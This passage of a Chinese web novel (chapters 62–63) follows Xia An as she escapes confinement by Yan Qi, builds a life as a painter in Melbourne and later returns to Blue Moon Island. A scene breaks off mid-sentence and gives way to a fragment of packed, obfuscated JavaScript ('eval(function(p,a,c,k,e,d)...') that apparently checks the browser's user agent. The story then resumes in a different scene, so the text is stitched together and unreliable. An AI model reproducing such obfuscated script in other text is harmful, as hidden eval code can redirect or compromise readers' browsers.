可是今天,他们都没有出现。 夏桉试探地走到颜祈的房前,敲门的手刚伸起又改成贴耳倾听,没有声响。 她下楼悄声走到保姆间的那端,隐约听到被房门隔住的聚众叫好声,好像是在一起打牌,夏桉还听到了一些乱七八糟的痞话,有人在高喊今天元旦,什么难得休息。 她谨慎的退了出来,转身走向车库,颜祈的车不在里面,估摸着应该是颜淙已经知道在找他了。 她又从后门绕到了前院的墙边只探出一点头观察,发现今天就一个人还在值班,被太阳照的昏昏欲睡。 夏桉就在这样阳光明媚的新年早晨从后院偷偷溜出去,离开了明珠园,她终于实现了自己的人生愿望。 下山的路并不好走,她走的匆忙,只把包里那些重要的证件和银行卡揣了起来,剩下的东西还放在那里掩人耳目,绕了一通才回到大路上。 手机也没有,夏桉只记得上山来的这条路,怕被人发现不敢光明正大的在路上走,只能贴旁边的绿化树尽量别离正确的路线太远。 走了不到三分之一的路程,夏桉还是被发现了。 厨嫂震惊停下车,但又很快反应过来探出头道:“夏小姐,你快上来,我送你离开。” “我已经知道你不是自愿待在这里的,我家姑娘和你差不多大,你相信我,没有一个母亲想看到自己的孩子这样。” 夏桉迟疑的往山上望了一眼,咬咬牙,打开了副驾驶的门。 盘山大道,榆林静谧肃立,金光在枝头弥漫,黑色轿车卷起瑟瑟狼藉的落叶,消失在道路尽头。 62. 第六十二章 新年第一天的天气简直好的过分,不是冬天吗,怎么会有这么好的太阳。 颜祈站在最高的那扇窗户前一动不动,望着夏桉慌慌张张却无比庆幸离开的身影,她一步步朝山下走去,没有回过一次头。 他想起那场早到的大雪,倘若它会因时制宜该有多好,下山的路寸步难行,夏桉可能会走的慢一点,甚至等雪停了再离开。 颜祈不是很想在此刻才迟来的了解夏桉,却难以避免的开始明白。 这或许才是夏桉想要的方式,不依靠任何人也能从他的身边离开。 但下山的路这样远,总要有个人送吧。 他一直没有给过夏桉真正想要的东西。 明朗光线停滞在窗户之外,干净发亮的黑色轿车绕过弯道,颜祈不由自主伸出手,又在触及到阳光的那一瞬像被烫到收了回来。 明珠园留不住夏桉,自傲者永困高塔。 她将奔赴属于自己的夏日,把颜祈一个人留在了凛冬里。 ...... 颜淙比他预想来的还要早。 拳头比小时候的更重,不遗余力。 颜祈抹掉嘴角的血没有还回去,扯着痛生硬道:“你别去打扰她了,她不爱你。” “这一切都只是为了报复我,让她走吧!” 颜淙黑沉沉的一双眸瞥视过去,竟在这样的话里听出了一些颜祈想要炫耀的心思。 简直无可救药。 一个被报复丢弃的人,哪点值得拿出来卖弄。 可是看着颜祈那样神伤失落的表情,他终究是没有再挥出第二拳,视线从周边一群人划过面上覆着一层难以言说的森冷,暗嘲讥讽道:“真是长本事了,找这么多人看着她。” “你一个人还不够吗,现在这副样子又是做给谁看?” 颜祈心里憋的难受,颜淙从小身上有种浑然天成的压迫感,他从小被颜淙管教多了,这种阴阳怪气的话数不胜数,总归是没有拳头痛。 他平视颜淙的眼睛,没什么好隐瞒的:“她不是都告诉你了。” 如若不是昨晚夏桉主动联系,颜淙今天怎么又会找到这里来审判他。 “告诉我。” 颜淙皮笑肉不笑地淡讽:“一张白纸,能告诉我什么?” “她没跟你说?”颜祈僵硬住。 所以传真过去的文件不是查不出,而是根本就没有东西,夏桉又一次骗了他。 颜淙比他心思深沉的多,只从这简单的几个字里便已获取大致的信息,一眼看穿颜祈的愚笨无知:“看来她也没跟你说。” 颜祈无端有些紧张,意识到夏桉还有重要的事情一直瞒着他。 直到夜幕重新被晨光点亮,颜祈失魂落魄了一整天,踉跄走进夏桉的房间,躺在她常睡的那侧,蜷缩抱住枕头,整个人都埋了进去感受残留的气息,耳边仍不断重复着颜淙离开时懒的和他多说又不得不说的那些话。 “她早就和我退婚了。” “要不然你以为她为什么能在这里待那么久。” “你就是活该。” 他那些小伎俩在国外还好,可是在江州市又怎么可能真的瞒得住颜淙,是因为颜淙也失去管束这些事情的权利,感情的事容不得第三人插手。 夏桉给过他机会的,她说就当作两清,颜祈甚至都还没有开始道歉。 她就已经决定原谅他了。 她没再说过那些伤人的话,没再说继续恨他,是颜祈自己毁了这次机会。 他总在让夏桉去原谅他又一边做着和从前一样的事,夏桉在他畸形的管教下过了这么多年,难道还不知道他那些常用手段? 她只是在给颜祈最后一次机会,斩断自己不该存有那点心软。 还真是不负所望。 没有人会这样爱一个人,她告诉过他的,没有经历过挫败的人总要在悔痛里成长。 纷乱的雪花随风落下,寒意四起,彻之入骨,此时属于江州市的那场雪才按约降临。 - 寒意散尽,夏去秋来,夏桉这一年在澳洲还没来得及好好感受夏天,就在忙碌的生活里迎来凛冽的深秋。 这里的时节正好和江州市相反,她坐在街头的板凳上,寒风侵肌,发呆之余在所难免想起去年的夏天,永远闷热的蓝月岛,棕榈树密植成林,海潮摇晃月影,海风吹到王家天台的时候总是温柔轻缓。 远方渔船的红色信号灯是孤寂黑海里最幽深的眼睛,后来她在海边看到蓝色火焰,比月光更生冷。 那里的海岸没有旖旎风情,不会有人在寂静午夜去追逐天上的星星,海潮声是蓝月岛人日出而作日入而息的天然讯号,夏桉混在人群里,不知道自己究竟是谁。 她只回忆到这里,因为摆了许久的小摊终于在半下午迎来了第一个客人。 从前被颜祈管束的时候她从来没有想过交朋友,小学初中的时候谁跟她关系近,颜祈都会让对方不得好过,谁的关系都不能超过他的地位,后来高中的时候电子设备又会被定期检查,颜祈会用冷白的指尖戳着屏幕一个个质问她,这又是谁?你们什么时候这么熟了? 交朋友在夏桉这里变成一件很麻烦的事。 这确实很麻烦,夏桉坐在冷风里的时候不止一次这样想过,或许她可以像以前那样生活,其实有没有朋友都不重要,合群本身就是一件难为人的事,特别是对她这种一直被管教限制的人。 已经这样浑浑噩噩过了十多年,为什么非要去改变自己。 但她后悔的有点晚,去年几乎一整年都在休学,她已经落了两个学期的课程,只能补修。 夏桉申请了住宿,被室友拉着进了一个小社团,周末的时候在街头画肖像画作为活动备用资金。 她的第一个客人是个很活泼的澳洲小男孩,绘画的过程中一直睁着黑白分明的大眼在打量她,夏桉抬头对他温柔的笑了笑,男孩羞怯地低下了头。 夏桉不好推辞同学的邀约才坐在这里,对方又是个小孩,哪里会真要他的钱。 结果小男孩一掏口袋就递过去一百澳元, “不用给钱的。”夏桉温柔递回去。 小男孩又盯着她看了两眼,把钱往前面一丢,拿着画就跑了。 室友惊奇拿过那一百澳元,夸赞道:“夏桉,你也太厉害了吧,一张顶我们画两三张了。” 旁边的同学看了夏桉一眼打趣道:“长的漂亮果然能当饭吃。” 秋风卷起枯叶簌簌作响,夏桉没怎么听过这些表扬的话,低头按住画板有些不好意思,发丝垂落脸侧,清丽舒展的东方五官在墨尔本的街头鲜妍动人。 这一年寒假,夏桉还是搬了出去,她确实适应不了热闹的集体生活,很多时候明明在人群里却不知为何会觉得更加难过。 她总是会不断出神,却不知道自己刚刚究竟想了什么。 像在经历一场漫长的戒断反应,却只能毫无还手之力。 她拿到了夏家留给她的那笔信托基金,想要的东西不需要再经过任何人的检查,可是却没有一个人需要她去联系。 冬末的时候,她晚上回家遭遇了一次抢劫,对方身强体壮,都没花力气就抢走了她的包。 那天包里其实也没放很多东西,夏桉第一次碰到这种事情,脑子一片空白知道自己毫无还手之力,可等到对方跑了一小段她才突然想起里面还放了母亲的那枚胸针,急急忙忙又追了上去。 雪天路滑,她差点撞到路灯上。 夏桉爬起来哪里还能看见人影,手掌擦破地方刚好在小时候那个疤上,鲜红一片,她抬起手遮住眼,突然就承受不住似眼泪失控往下掉,脸被风刮的僵疼。 这场意外来的太匆忙,可是很多东西早已在她心里积压太久,后知后觉才慢慢涌上痛。 一直哭到情绪平复流不出眼泪,夏桉才吸了吸鼻子哽咽地往家里走,还好钥匙不在包里,要不然她今天可能要去警察局里过夜。 这种蒙面抢劫根本抓不到人,但夏桉还是在第二天清早去报了警,她说里面有很重要珍贵的东西。 警察当时没有过多理会她,抢劫的事常有,更何况她只是个外国人。 夏桉沮丧的在外面坐了很久,结果两天后警察局突然联系她说找到了,她感谢了好久才接过包。 盒子里面那枚蓝色的胸针静幽闪折射出彩光,藤蔓交织缠绕的珍珠在旁边一尘不染。 她走的实在太过匆忙,拿走了母亲的胸针却忘记把项链还给颜祈。 夏桉想,或许她可以把项链邮寄回去,寄到颜淙那里代为转交,但她学业太忙了,又搬到了另一个治安更好的公寓。 新学期前夕,万世集团放出她和颜淙取消婚约的消息,余薇那里再也瞒不住了。 她没想到在过去的一年竟然发生了这么多事,心里又气又心疼,连夜飞到墨尔本和夏桉见了一面。 责备的话自然说不出口,好好一个小姑娘经历了这么多,她本来以为有颜淙颜祈在就没人敢欺负她,结果没想到是家里出了‘内鬼’。 原本按照计划,今年下半年要给她和颜淙举办订婚宴,等毕业了再准备婚礼,终究是有缘无分。 余薇这些年在商界驰骋,眉宇之间气势愈强却没有任何苍老之态,见到夏桉却难免有一丝微妙的迟疑,心里内疚。 起初颜夏家本来就有继续交好的意思,大家族之间没有比利益置换更可靠的维持方式,如果可以结秦晋之好更是再好不过。 只是没想到颜祈第一次见面就把夏桉推到了地上,大家只能尴尬的笑笑,余薇也张不开那个嘴,她在国外见夏桉的时候就一眼喜欢,被颜祈这一闹恨不得当场就把他揍一顿拿来出气。 不过也只是想想,她不支持棍棒教育,更何况颜淙小时候在颜老爷子已经吃过不少苦头,余薇变相的补偿到了颜祈身上,要风得风,要雨得雨,这才把他宠的骄纵妄为。 颜淙在这个方面比她和丈夫更像一个家长,久而久之就形成了一种奇怪的模式,他们是宠溺孩子的‘慈母’,颜淙才是那个扮黑脸的‘严父’。 后来夏桉父母离世,余薇看着两个长大和平相处的孩子又起了心思。 从年纪上看颜祈更适合,但是颜祈小时候的行为太出格了,这才试探问的颜淙。 颜淙说的话实在坦率直白,他想要按照老爷子的意愿接管颜家,谁是他的妻子不重要,如果是夏桉更好,她从小是自己看着长大的,知道品行不会骄纵,他需要一个可以安心放在后方的妻子。 余薇前面听的直皱眉头,但也在后面的话里听出一些真意,反正夏桉现在嫁给谁她都会不放心,这样一看至少颜淙可靠,他和颜老爷子一个模子刻出来的性情严肃,可是颜家上下三代就没有一个滥情的人,颜老爷子和老太太虽然拌嘴但恩爱有加,伉俪情深。 她就不信自己儿子会在这样的环境下长歪,颜淙从小就是最有责任感的那一个。 感情培养培养就会有的,一切只是时间的问题。 她怎么也没想到竟然是颜祈最早动的这种心思。 蓝月岛的事她多多少少也听了个大概,可这也没办法,两个孩子什么都不记得了能去怪谁。 结果没想到颜淙接下来的话才气的她太阳穴突突的跳,她恨铁不成钢地瞪着颜祈,不知道他从哪里学来的臭毛病,竟然又跟小时候一样把人关起来。 那是爱吗,那是圈养,只有对待没有杀伤力的宠物才会这样。 她气的把杯子砸到颜祈的身上,骂道:“早知如此何必当初,谁让你自己一开始把人家推到地上的,自作自受。” “我说你成年的时候怎么想要那套房子,原来早就想好了。” 可事到如此再多说也无益,她拉着夏桉的手表示歉意:“好孩子,是阿姨对不住你,颜祈那小子我已经帮你打过他了,唉~” 她们知道颜祈的性子,凑在一起两人光叹气就能叹半晌。 也许是上天注定她们之间没有做婆媳的缘分,余薇摸着她瘦伶伶的腕骨实在心疼,忍了忍下定决心道:“桉桉,以后你不要再叫我阿姨了。” 夏桉愕然,还以为自己做错了什么,却听余薇转口道:“你直接把阿姨当做你妈妈,以后你就是我们颜家的孩子,阿姨一直想要个女儿,我保证不会再让你受任何委屈。” “以前的事是我考虑的不够恰当,等日后你找到了真心喜欢的人,阿姨会用颜家的规格把你嫁出去,任谁都不敢说半个不字。” 夏桉沉默着没有说话。 离开时余薇告诉她夏明诚最新的消息,定罪已经下来了,说有人找到了他这些年来一直滥用私权的证据,余生都不会再出来了 她父母的事确实只是一场意外,与夏明诚无关。 “要往前看。”余薇抱着她这样说道。 她下楼准备去送余薇,余薇摇摇头,问她住在这里是否还习惯,可以安排换一套更好的房子。 夏桉垂下眸,说这里已经足够。 独自生活的第三年夏桉毕业了,她在学业上继续深造,留在了本校读研。 又是一年春,杨素梅出狱,夏桉打了一笔钱过去又被退了回来,请求说想和她通一通电话,夏桉办了张临时的电话卡打过去。 杨素梅在电话那头哭的泣不成声,一副悔不当初要死要活的态度,夏桉举着手机出神的望着街边枝叶茂盛的蓝花楹,华丽的像紫色的迷雾,她突然想起昨天同学告诉她的花语,在绝望中等待爱情。 这样的漂亮的花,有什么好绝望的。 她怔怔出口道,电话那头的杨素梅止住哭声,“桉桉,你说什么?” “没什么好绝望的。”夏桉突然觉得心口有点闷,深吸一口气说:“不要再哭了,以后好好生活,那些钱你收下吧,去看看子显哥哥想去的地方。” 她挂掉电话,把卡扔进了垃圾桶。 二十三岁这年,夏桉发觉自己确实有些冷漠,她变得越来越不能体谅别人的情绪,她好像在变回九岁以前的夏桉。 颜祈和她争吵的那一晚骂她冷漠也许是对的,可是这样的冷情有伤害到别人吗? 这样的冷情天生存在,还是颜祈一点一点将它驯服出来? 夏桉不想再去思考问题,她拂开挂在风衣袖口上的蓝花楹,孩子气的警告:“以后别再掉到我身上了。” 没什么好绝望的,冷情就冷情吧,她没伤害过别人,她试过了,她融入不了人群。 夏初,她在街上遇见许琳,那位曾经在颜家教她画画的老师,如今成为了一位优秀的女性,她和丈夫牵着小儿子在街上采买节日礼物,一眼认出夏桉。 许琳很热情的和丈夫介绍夏桉,称她是自己最满意的学生。 她看着疏离到极致的夏桉不知为何有些难过,本以为两人的缘分不过是这匆匆一面,小儿子却突然向前一步抱住了夏桉的腿,仰着跟洋娃娃似的混血小脸稚气喊她:“姐姐,你好漂亮!” 许琳和丈夫忍俊不禁,夏桉感受到他白藕似的小手心突然变的很柔软,蹲下来回抱住他。 夏桉终于交到自己第一个朋友。 蓝花楹在岁月的流逝中又开了一季,夏桉在墨尔本过的第五个冬季被邀请到了许琳家,把经纪约签给了她。 天气转好,夏桉毕业后时间总是很多,她和学生时一样还会在附近的广场上给人画自画像,保持正常的社会人际交流。 她的摊位不算热闹,但也因为频率固定总有人光顾。 刚画完第一个人,许琳就来了电话:“你在哪呢?” “广场上。” “哦......也行,你出门就好,许安安说好久没看到了你,什么时候有空过来,我正好和你说说画展的事情。” “都可以,你决定就好。” “你是不知道我简直要忙死了,又是场地租赁还要媒体营销、布置展厅,累都要累死了,你都不来帮帮我。” “可这不就是你作为策展人的工作。” “小没良心,你都不知道安慰安慰我......” 夏桉忽地耳边出现躁响,她已经很久没有听过这个词了,那个人也总是这样说她,她甚至还能应时想起那些熟悉的腔调。 好可怕。 “......你有没有在听啊——” 夏桉的神思被拉了回来,下意识嗯了一声,听对面继续说:“符合你要求的展馆我目前就找到一家,国内倒是有几处合适......尤其是江州市的那个展馆,简直和你说的一模一样。” “而且那边有几个画廊对你的作品都很有兴趣,想要长期合作见见你,你看要不要回去一趟。” 夏桉:“......” 许琳调侃说:“怎么,你怕回去见到你的旧日情人,心生难耐?” “他不是。”否定的话语间隔不过半秒。 许琳叹了一口气,委婉道:“夏桉,我都还没有说是谁。” 夏桉没再继续说话,许琳长话短说把剩下的事情和她叙述了一遍,挂电话之际还是劝道:“都这么久了,你要是真放下了就正好回去看看,国内市场现在不错。” “你要是愿意,我真想拿你万氏集团前——” 夏桉挂断了电话,面孔没有任何波动。 过了几天许琳又打电话过来聊了一通,夏桉挂断电话的时候才发现余薇给她发了消息,说她下个月生日有没有空回来。 夏桉本能的开始逃避,可下一秒余薇的电话就直接打了过来, “桉桉?” 夏桉回了一声,余薇才在另一端继续说:“桉桉,你怎么研究生毕业了还不回来,江州市老城区改造规划,你母亲名下有套房产在里面可能需要你回来处理一下。” 她顿了顿确认对面在听后,又说:“下个月我生日,想在那天正式把股权转让给颜淙,我希望你也在场。” 夏桉靠在墙边又一次感觉命运好像在推着她走,不是指引方向,而是一种催促。 所有的一切都在告诉她,该回去了。 她以前好像没有这么喜欢逃避,可是这两年却愈发的懒散,不愿意面对任何一个为难自己的问题。 她偏头望向远处的落地镜凝视许久,镜子里的人依旧骨相静和清丽,皮肤透白,眉目却比以前更加清冷,夏桉说不出自己具体变化在哪,但终归五年过去,没有人会和原来一样。 一个没有要求的人,注定很容易被时间留下印记。 余薇从来没有对她提过这种请求,夏桉找不出推拒的理由。 她翻开手机查看航班,想起江州市现在正是夏天。 夏桉只带了几样简单的行李就去了机场,许琳很高兴,说要不是最近许安安发烧她真想一起回去,叮嘱夏桉只是普通的见面,如果对方有意向她会谈判,顺便让她带点东西回来。 机翼划过云层,阳光洒下一层淡金似的薄纱。 夏桉抬眼望着窗外的景色,跨国航班的漫长旅程眼皮困的厉害。 她又看到了那双眼睛,澄净透彻的眼眸弯着对她笑。 少年咬住蓝色的条纹吸管歪头问她:“你能不能认真一点?” “这都取的是些什么鬼名字。” 夏桉还没回答,突然被少年拉着就往山坡上奔跑,纯棉T恤被风微微鼓起,少年挺拔清瘦的肩胛骨透出显见的骨骼轮廓,他们奔跑的步伐一致,夏桉不由握紧了他的手,却发现他离自己越来越远,他站在山坡的另一边朝她挥手。 “你怎么来的这么晚,要迟到了知不知道。” 夏桉用力朝那边奔去,扑进他的怀里,天色骤然变黑,少年下巴抵在她的肩头,很委屈的样子说:“这里太黑了,我不喜欢。” 烘在她颈窝的气息热的发烫,夏桉想,也许她应该说些安慰的话,可是却怎么都记不起来曾经说了什么。 少年得不到想要的回答将她狠狠推开,老旧的手电筒掉在地上,夏桉望着远处的明亮又回到了那个昏暗的床底,床沿将光线隔开,她缩在角落里。 男孩睁着同样纯粹干净的眼睛,不耐烦地擦掉她的眼泪: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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曲北适时推动行李箱,假装看不见:“我还要回公司述职,就没办法送你了,自己可以吗?” “可以。”夏桉扬起一个笑,将那些酸涩又压了下去。 她没告诉余薇自己提前回来了,总担心过多的时间会引起不必要的麻烦,夏家在五年前就被搬空,她的房间也早被改成了麻将间,夏桉直接住在了外面。 和画廊的交涉比她想象中的顺利,母亲留下的房产按照规章流程办事并没有耗费她什么精力,夏桉多出两天时间。 她又谨慎打探了一番才出发去的蓝月岛。 她是被漂到蓝月岛去的,回来的时候又全程恐慌发作根本没看到外面的景象,夏桉到小渔村时才发现自己完全不认得路。 自以为那些日子对蓝月岛掌握万全,可是实际出了岛她也只知道这一个名字,再无其他。 夏桉对外面这个小渔村的印象也不多,正值夏日,许多人都穿着花花绿绿的沙滩衬衫,路边的建筑又全部刷成彩虹色,只觉得眼睛都要花了。 不像一个以传统捕捞为产业的小渔村,倒像是国外某个知名的旅游胜地。 她走到渔船边还未开口问,站在旁边的阿叔就指着远处棕色木头小屋说:“小姑娘,在那边买票,别走错了。” “我要去的是蓝月岛。”夏桉说。 “我知道啦,来这里的人都是要上岛,不管你上哪个岛,你都要去那边买票。” 夏桉被太阳晒的晕晕乎乎,直到上船有点没反应过来,轮渡马达轰鸣躁响,烈日灼烫,她换到另一侧阴凉处才看清楚整个蔚蓝海面。 服务员穿着制服裙用小喇叭开始介绍,每到一处都有详细讲解,非常完善的产业链。 轮渡按时间节点出发,抵达蓝月岛不过四十分钟的海程,夏桉下船的时候在陌生的渡口站了好久,才分清楚哪边是去王家的路。 如果她没有看错,这个渡口旁边装修华丽、集饮品纪念品休息站为一体的大房子好像就是单纯那个简陋的冷饮店吧。 夏桉震惊万分,又不知道该和谁分享她的惊讶。 岛上的一切都很陌生,唯有海上热风从下船的那一刻就将她包围,亲昵拂过全身,她闭上眼,终于感受到熟悉怀念的气息。 游客行李箱的滚轮接连不断,提的都是一些没听过的名宿名字。 如今的蓝月岛就像是一个全新的世界,夏桉想过万世集团的办事效率,但这未免也太高效了。 她在王家的门口整整站了五分钟才确定这确实是她住过的那栋旧房子,这种焕然一新的改变除了推倒重建,她想不出第二种方式,可仔细看,外观大小又没有改变,围墙垒高了好几层,夏桉根本就看不到里面,只觉得外面很不一样。 也不知道王淑华会不会欢迎她不请自来。 还等夏桉准备好,里面却率先开了门,王淑华一如既往臭着一张脸,准备往外泼水的盆停在半空中,话都还没有骂出口。 “烦死了,总来干什么——” “奶奶。” 王淑华手微微颤抖,不知道从哪里闷出一些火,夏桉识趣移开,没有再挡住她泼水的盆。 那盆水最终还是没有泼出去,王淑华眼皮不停扇动,刚刚还精力十足的身体突然苍老许多,端着盆又颤颤巍巍走了进去。 没有让她进去,也没有说赶她走,门就那样大敞着,似乎在等她自己进去。 夏桉停在门口,对五年前王淑华不愿意见她的态度仍然有郁结。 王淑华往外头望了一眼,叹气走进厨房没有再出来。 夏桉又等了一会,这才走进去站在客厅里,像第一次去远房亲戚家玩的小孩一样拘束。 内里改变并不大,但整体比从前干净明亮,原先裸露在外面的线路被藏了起来,桌子板凳还是那些旧的,客厅靠墙的中间突兀摆着一台很大的液晶电视,跟有人强行塞在这里一样,院子水龙头下面修了一个小水池,不用再担心水溅的到处都是。 如果说最大的变化在哪里,王淑华的菜地不见了,这也是夏桉在门口一直迟疑的原因。 王淑华见她进来才从厨房走出来,两人相顾无言,夏桉紧张中拿过桌上的红喜帖,故意找话题:“谁要结婚啊......” “新郎春山,新娘林......菀?” “啪——” 夏桉气的直接拍桌上,愤愤不平:“他竟然敢移情别恋。” 二妞这也能放过他,简直无法原谅。 王淑华有些听不下去,幽幽道:“那就是二妞。” 夏桉愣住,岛上的人都一直管二妞叫二妞,谁也没告诉过她二妞的真名其实叫林菀。 她慢慢合上请帖,又小心拍了拍上面不存在的灰尴尬道:“怎么现在才结婚。” 两人青梅竹马又两心相悦,两人五年前就戳破了那层窗户纸,按照海岛上年轻人结婚的速度来说,确实太慢了一点,要不然她也不会这样乱想。 王淑华静默片刻,不知道从哪里开始说起,这些年岛上的变化太多,一时半会儿也说不清楚,看着夏桉清瘦的脸颊叹息改口道:“去找他们看看吧,晚上,你要走吗?” “下午四点就是最后一班船。” “明,明天再走。”夏桉踟蹰道,她准备把那两天时间都耗在海岛上,然后等股权转让的那天再回去露个面也算给余薇一个交代。 “去吧。”王淑华的表情柔和几分,“记得回来吃饭,我去帮你收拾房间。” “知道了。” 得到许可,夏桉去二妞家的脚步不再似之前犹豫,她的脚步和从前一样雀跃,二妞算是她第一个同性朋友,意义非凡,如今又要结婚,简直凑巧到有些幸运。 不对,现在应该叫林菀。 夏桉这样想着,笑意明晃,身后蓦然传来一阵奔促沉重的哈气声,夏桉循声转头,一只毛发蓬松的大黄狗跑到她的跟前吐舌卖萌,一脸乖巧。 “阿黄?” 大黄狗尾巴开心的左右摆动。 夏桉蹲下身捧着它的脸一顿揉搓,然后顺顺毛:“你竟然还认得我。” 阿黄蹭了蹭她的裙角,叼起地上的牵绳往夏桉面前递。 “你怎么还有这个,谁把你养了?”夏桉接过牵绳,在上面看到它的名字和一行类似于地址之类的小字。 【蓝月岛小狗之家】 这名字取的真是显而易见。 “阿黄也有家了,这是你现在住的地方吗?” 阿黄点点头,扯动牵绳想拉她过去,夏桉站起来送它回去,可还没走两步阿黄突然就加快了速度,扯着牵绳就往前面狂奔。 夏桉跟不上松开手,低头喘气,耳边突然传来一个熟悉的声音。 “阿黄,你怎么又到处乱跑,我和平南哥都要追不上你了。” “下次不带你出来玩了,一点也不听话。” 夏桉屏气怔在原地,还来不及隐藏对面的人就已经叫出她的名字:“珍珠姐姐?” “平南哥,是珍珠姐姐,她回来了,我就说她回来的。”长风抱住阿黄激动朝后面喊。 男人定定站在远处,顶着光,粗粝海风将他的白衬衣吹的落拓,时光在他身上留下不可磨灭的痕迹,轮廓清晰的颌骨线条已全然褪去年少的单薄,他的目光比刺破云层的日光更加灼人。 夏桉像是落入深海,心里有种难以言说的失重感,万物消音,海水灌耳,只能被迫坠落。 她觉得自己不该这样无故惶然,噩梦一场应当醒来就忘,过去的五年她一直都在反复学习这件事情,关键时刻总要显露一二才不算完全落败。 是对颜祈年少时的恐惧才会导致她如此慌张,无关其他原因。 海风愈发滚烫,夏桉抬眼直视过去,不愿做一丝退让。 视线汇合的那一秒,海浪层层叠叠,港口船鸣声响。 暑热一瞬降息,一如那年盛夏。 63. 第六十三章 “珍珠姐姐。”长风带着阿黄跑上前,一如既往的青稚脸庞,“你怎么才回来,我和平南哥都等你好久了,还好你找到阿黄,要不然它又不知道要跑去哪里。” 他低头瞪了一眼,阿黄发出委屈的呜咽声,偏头去蹭夏桉的手。 夏桉回过神,伸手揉了揉阿黄,不知道如何去回答长风的问题,对于过往她不愿再提及,想纠正长风的称呼又怕显的过于刻意。 毕竟在长风的世界里,珍珠姐姐和夏桉姐姐并没有本质区别。 她抬头看见长风身上那件宝蓝色小马甲胸口处写着一样的小字:【蓝月岛小狗之家】 将话题扯开:“这是你的工作服?” “嗯,是平南哥让我去的,那里有好多好多和阿黄一样的小狗。”长风抻抻衣服捋平,有点骄傲,“平南哥去年还给我颁了奖呢,他说,我是最优秀的员工。” “不对,阿黄现在是大狗了。” “反正就是有好多好多和阿黄一样......”他伸手捂住阿黄的耳朵,想了想脸上显出灵光一现的神态,“在等待别人喜欢的小狗。” 夏桉感叹岁月对长风的珍爱,让他的眼神依旧透亮,还好,蓝月岛有些东西总是不会变的,长风还是五年前那个长风,哪怕是对待一只被抛弃的小狗,也会担心它听到不好的话难过。 “阿黄很幸运,那些小狗都是。” 夏桉摸摸他的头表扬道:“你在做一件厉害的事情。” 长风没有居功,嘴上想说这都是颜祈的功劳,一转头才发现他还站在后面,中间像有什么荆棘利刺阻隔他向前。 “平南哥,你怎么还站在那里?” 他扬起手,以为颜祈至今看到夏桉都没有反应过来,大喊:“这是真的珍珠姐姐,活的。” 夏桉:“......” 长风叫了两句见他没反应还好心跟夏桉解释:“姐姐,他一定是看愣了,平南哥总是这样,动不动就听不见我说话。” “我去把他给你带过来。” “不用。”那边的话音还没落地。 夏桉觉察自己反应有点激烈,平复说:“我还要去林菀那里,先走了。” 长风看看颜祈又看看她,然后看向远处的张灯结彩的高楼欣喜道:“真的吗,我们正好也要去春山哥家。” 春山和林菀就住对门,这话如果是其他人说夏桉不会相信这么巧,但长风除外。 颜祈默默跟在后面,和人和狗都保持一段距离。 两家院子大门敞开,林菀正好在门口检查最后的装饰布置,见她还以为自己看错了,错愕用力眨了好几下眼睛,旋即露出惊喜之色:“珍珠。” 她这一喊,周围帮忙的人都看了过来,纷纷叫起夏桉这个失忆时得的名字。 刚上岛时那些生疏感在此时化为乌有,看着一张张热情洋溢的笑脸,夏桉心绪微微酸软,久违感受到些许归属感。 她不愿纠结这些好究竟是大家补偿给那个孩子,还是真把她当作了珍珠,论迹不论心,那些善意的问候与关心她都实实在在感受过,被温暖过。 林菀扯着她正想说话,看到后面的颜祈神情僵硬,怕大家再问出一些尴尬问题,把夏桉拉回了家里。 她拿过放在床上的洁白婚纱往身上比,满心欢喜:“好看吗?” “很漂亮。”夏桉衷心回道。 林菀面色羞怯,把婚纱平铺放回床上嗔怪道:“我觉得也就那样吧,感觉和店里那些没有什么区别,本来我打算随便租一件就算了,结果他非要买下来,说不让我穿别人穿过的,我是觉得没有必要,这东西这么贵,我就只接这一次婚,买下来太不划算了。” “你知道吗,你现在和以前跟我说他送你手链带你出去玩是一个样子。”夏桉托着下巴笑。 林莞被戳穿有些羞怒,脸颊微微涨红,扑过去佯装与她打闹:“就不能让我嘚瑟一会。” “要不是他太忙,我才不舍得花这个钱。” “现在不是禁渔期吗?”附近的渔船都不能出海捕捞,时间完全符合。 林菀微微扬起下巴,有点小得意:“你姐们我马上就是岛长夫人,厉害吧,以后我罩着你。” 夏桉被她逗笑:“什么时候的事?” “就去年。”林莞松开她,三言两语把事情说了个大概,“你也看到了,现在蓝月岛变化这么大,李叔说他跟不上年轻人的脚步,和岛上的叔叔伯伯商量后就把位置给了春山。” 夏桉听完没有意外,春山本来就是年轻这一批里最有声望的那一个,热心肠讲义气,很有大哥范儿。 林菀偷瞟了眼夏桉继续说:“其实他们也是看在颜祈的面子上,要不然不会这么爽快。” “自从你走后他就总是来岛上,李叔他们又不敢惹他,三天两头的让春山哥去协商,一来二去的他们管不住,索性就把位置给了出来,现在都在忙着赚钱去了。” 林莞还不至于单纯到以为颜祈做的这一切只是因为这是颜家的开发项目,曲北那样从小在蓝月岛出了名的神童去万世都进不了总公司,这个世界从来不缺聪明人,而万世下面有成千上万个,怎么着监守的工作也轮不到颜祈的头上。 “是因为你,他才会来,蓝月岛才能有这样的改变。”她望向夏桉的眼神,不言而喻。 夏桉眨了下眼睛,温吞回避:“你现在很像是得了他好处的说客。” “那我也没办法,总不能真得了还不帮他说两句好话吧。” 林莞一脸掏心窝子的表情跟她说:“我看他心挺诚的,反正你不也退婚了,以前能喜欢上,现在肯定也可以,旧情复燃很快的,我看电视剧里一个眼神就能解决。” “你们不是已经见过了,就没有一点感觉?” 夏桉没吭声,她和颜祈哪来的旧情,只有旧恨。 林菀看她总在逃避也没再说,只问道:“那你多久回去?” “明天。” “这么快?”林菀讶然,赶紧挽着她的手不放,眼巴巴地望着她,“可是我后天才结婚。” “你就不能晚点走吗,我就结这一次婚,你错过可就再也没有了。” 夏桉被她盯的头皮发麻,更何况她时间本来就是充裕的,欺骗的话说不出口:“......好吧。” 两人下楼时人群已经散了,夏桉没再看到他的身影。 夏桉到家的时候意外发现家里还多了个人,仔细一看才认出是李阿婆,她和王淑华从前不对付,连带着夏桉也鲜少来往,还是后来因为颜祈总在礁石滩那边捡瓶子卖钱,两个才多打了几个照面。 